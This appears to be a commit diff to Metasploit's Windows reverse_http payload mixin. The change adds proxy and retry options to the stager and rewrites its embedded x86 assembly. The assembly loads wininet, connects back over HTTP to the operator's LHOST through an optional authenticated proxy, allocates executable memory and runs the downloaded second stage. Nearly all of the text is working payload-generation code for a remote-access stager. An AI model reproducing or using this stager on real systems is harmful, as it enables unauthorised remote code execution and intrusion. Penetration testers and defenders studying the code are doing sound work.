@@ -27,7 +27,13 @@ def initialize(*args)
2727 super
2828 register_advanced_options (
2929 [
30- OptInt . new ( 'HTTPStagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] )
30+ OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
31+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
32+ OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
33+ OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
34+ OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
35+ OptString . new ( 'PayloadProxyPass' , [ false , 'An optional proxy server password' ] ) ,
36+ OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] )
3137 ] , self . class )
3238 end
3339
@@ -41,15 +47,22 @@ def generate
4147 ssl : false ,
4248 host : datastore [ 'LHOST' ] ,
4349 port : datastore [ 'LPORT' ] ,
44- url : "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW ) )
50+ url : generate_small_uri ,
51+ retry_count : datastore [ 'StagerRetryCount' ] )
4552 end
4653
4754 conf = {
4855 ssl : false ,
4956 host : datastore [ 'LHOST' ] ,
5057 port : datastore [ 'LPORT' ] ,
5158 url : generate_uri ,
52- exitfunk : datastore [ 'EXITFUNC' ]
59+ exitfunk : datastore [ 'EXITFUNC' ] ,
60+ proxy_host : datastore [ 'PayloadProxyHost' ] ,
61+ proxy_port : datastore [ 'PayloadProxyPort' ] ,
62+ proxy_user : datastore [ 'PayloadProxyUser' ] ,
63+ proxy_pass : datastore [ 'PayloadProxyPass' ] ,
64+ proxy_type : datastore [ 'PayloadProxyType' ] ,
65+ retry_count : datastore [ 'StagerRetryCount' ]
5366 }
5467
5568 generate_reverse_http ( conf )
@@ -75,15 +88,15 @@ def generate_reverse_http(opts={})
7588 #
7689 def generate_uri
7790
78- uri_req_len = datastore [ 'HTTPStagerURILength ' ] . to_i
91+ uri_req_len = datastore [ 'StagerURILength ' ] . to_i
7992
8093 # Choose a random URI length between 30 and 255 bytes
8194 if uri_req_len == 0
8295 uri_req_len = 30 + rand ( 256 -30 )
8396 end
8497
8598 if uri_req_len < 5
86- raise ArgumentError , "Minimum HTTPStagerURILength is 5"
99+ raise ArgumentError , "Minimum StagerURILength is 5"
87100 end
88101
89102 "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW , uri_req_len )
@@ -112,23 +125,49 @@ def required_space
112125 # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
113126 space += 31
114127
128+ # Proxy options?
129+ space += 200
130+
115131 # The final estimated size
116132 space
117133 end
118134
119135 #
120- # Dynamic payload generation
136+ # Generate an assembly stub with the configured feature set and options.
137+ #
138+ # @option opts [Bool] :ssl Whether or not to enable SSL
139+ # @option opts [String] :url The URI to request during staging
140+ # @option opts [String] :host The host to connect to
141+ # @option opts [Fixnum] :port The port to connect to
142+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143+ # @option opts [String] :proxy_host The optional proxy server host to use
144+ # @option opts [Fixnum] :proxy_port The optional proxy server port to use
145+ # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146+ # @option opts [String] :proxy_user The optional proxy server username
147+ # @option opts [String] :proxy_pass The optional proxy server password
148+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
121149 #
122150 def asm_reverse_http ( opts = { } )
123151
124- #
125- # options should contain:
126- # ssl: (true|false)
127- # url: "/url_to_request"
128- # host: [hostname]
129- # port: [port]
130- # exitfunk: [process|thread|seh|sleep]
131- #
152+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
153+ proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
154+ proxy_info = ""
155+
156+ if proxy_enabled
157+ if opts [ :proxy_type ] . to_s . downcase == "socks"
158+ proxy_info << "socks="
159+ else
160+ proxy_info << "http://"
161+ end
162+
163+ proxy_info << opts [ :proxy_host ] . to_s
164+ if opts [ :proxy_port ] . to_i > 0
165+ proxy_info << ":#{ opts [ :proxy_port ] } "
166+ end
167+ end
168+
169+ proxy_user = opts [ :proxy_user ] . to_s . length == 0 ? nil : opts [ :proxy_user ]
170+ proxy_pass = opts [ :proxy_pass ] . to_s . length == 0 ? nil : opts [ :proxy_pass ]
132171
133172 http_open_flags = 0
134173
@@ -153,68 +192,120 @@ def asm_reverse_http(opts={})
153192
154193 asm = %Q^
155194 ;-----------------------------------------------------------------------------;
156- ; Author: HD Moore
157- ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
195+ ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
158196 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
159- ; Version: 1.0
160197 ;-----------------------------------------------------------------------------;
161198
162199 ; Input: EBP must be the address of 'api_call'.
163- ; Output: EDI will be the socket for the connection to the server
164200 ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
165201 load_wininet:
166202 push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
167203 push 0x696e6977 ; ...
168204 push esp ; Push a pointer to the "wininet" string on the stack.
169205 push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
170206 call ebp ; LoadLibraryA( "wininet" )
207+ xor ebx, ebx ; Set ebx to NULL to use in future arguments
208+ ^
171209
172- set_retry:
173- push.i8 8 ; retry 8 times should be enough
174- pop edi
175- xor ebx, ebx ; push 8 zeros ([1]-[8])
176- mov ecx, edi
177- push_zeros:
178- push ebx
179- loop push_zeros
180-
181- internetopen:
182- ; DWORD dwFlags [1]
183- ; LPCTSTR lpszProxyBypass (NULL) [2]
184- ; LPCTSTR lpszProxyName (NULL) [3]
185- ; DWORD dwAccessType (PRECONFIG = 0) [4]
186- ; LPCTSTR lpszAgent (NULL) [5]
187- push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
188- call ebp
210+ if proxy_enabled
211+ asm << %Q^
212+ internetopen:
213+ push ebx ; DWORD dwFlags
214+ push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
215+ call get_proxy_server
216+ db "#{ proxy_info } ", 0x00
217+ get_proxy_server:
218+ ; LPCTSTR lpszProxyName (via call)
219+ push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
220+ push ebx ; LPCTSTR lpszAgent (NULL)
221+ push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
222+ call ebp
223+ ^
224+ else
225+ asm << %Q^
226+ internetopen:
227+ push ebx ; DWORD dwFlags
228+ push ebx ; LPCTSTR lpszProxyBypass (NULL)
229+ push ebx ; LPCTSTR lpszProxyName (NULL)
230+ push ebx ; DWORD dwAccessType (PRECONFIG = 0)
231+ push ebx ; LPCTSTR lpszAgent (NULL)
232+ push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
233+ call ebp
234+ ^
235+ end
189236
237+ asm << %Q^
190238 internetconnect:
191- ; DWORD_PTR dwContext (NULL) [6]
192- ; dwFlags [7]
193- push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
239+ push ebx ; DWORD_PTR dwContext (NULL)
240+ push ebx ; dwFlags
241+ push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
194242 push ebx ; password (NULL)
195243 push ebx ; username (NULL)
196244 push #{ opts [ :port ] } ; PORT
197245 call got_server_uri ; double call to get pointer for both server_uri and
198- server_uri: ; server_host; server_uri is saved in EDI for later
246+ server_uri: ; server_host; server_uri is saved in EDI for later
199247 db "#{ opts [ :url ] } ", 0x00
200248 got_server_host:
201- push eax ; HINTERNET hInternet
249+ push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
202250 push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
203251 call ebp
252+ mov esi, eax ; Store hConnection in esi
253+ ^
254+
255+ # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
256+ # doesn't set the Proxy-Authorization header on the CONNECT request.
257+
258+ if proxy_enabled && proxy_user
259+ asm << %Q^
260+ ; DWORD dwBufferLength (length of username)
261+ push #{ proxy_user . length }
262+ call set_proxy_username
263+ proxy_username:
264+ db "#{ proxy_user } ",0x00
265+ set_proxy_username:
266+ ; LPVOID lpBuffer (username from previous call)
267+ push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
268+ push esi ; hConnection
269+ push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
270+ call ebp
271+ ^
272+ end
204273
274+ if proxy_enabled && proxy_pass
275+ asm << %Q^
276+ ; DWORD dwBufferLength (length of password)
277+ push #{ proxy_pass . length }
278+ call set_proxy_password
279+ proxy_password:
280+ db "#{ proxy_pass } ",0x00
281+ set_proxy_password:
282+ ; LPVOID lpBuffer (password from previous call)
283+ push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
284+ push esi ; hConnection
285+ push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
286+ call ebp
287+ ^
288+ end
289+
290+ asm << %Q^
205291 httpopenrequest:
206- ; dwContext (NULL) [8]
292+ push ebx ; dwContext (NULL)
207293 push #{ "0x%.8x" % http_open_flags } ; dwFlags
208294 push ebx ; accept types
209295 push ebx ; referrer
210296 push ebx ; version
211297 push edi ; server URI
212298 push ebx ; method
213- push eax ; hConnection
299+ push esi ; hConnection
214300 push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
215301 call ebp
216302 xchg esi, eax ; save hHttpRequest in esi
217303
304+ ; Store our retry counter in the edi register
305+ set_retry:
306+ push #{ retry_count }
307+ pop edi
308+
218309 send_request:
219310 ^
220311
@@ -229,9 +320,9 @@ def asm_reverse_http(opts={})
229320 ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
230321 ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
231322 mov eax, esp
232- push.i8 4 ; sizeof(dwFlags)
323+ push 4 ; sizeof(dwFlags)
233324 push eax ; &dwFlags
234- push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325+ push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
235326 push esi ; hHttpRequest
236327 push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
237328 call ebp
@@ -272,7 +363,7 @@ def asm_reverse_http(opts={})
272363
273364 asm << %Q^
274365 allocate_memory:
275- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366+ push 0x40 ; PAGE_EXECUTE_READWRITE
276367 push 0x1000 ; MEM_COMMIT
277368 push 0x00400000 ; Stage allocation (4Mb ought to do us)
278369 push ebx ; NULL as we dont care where the allocation is
0 commit comments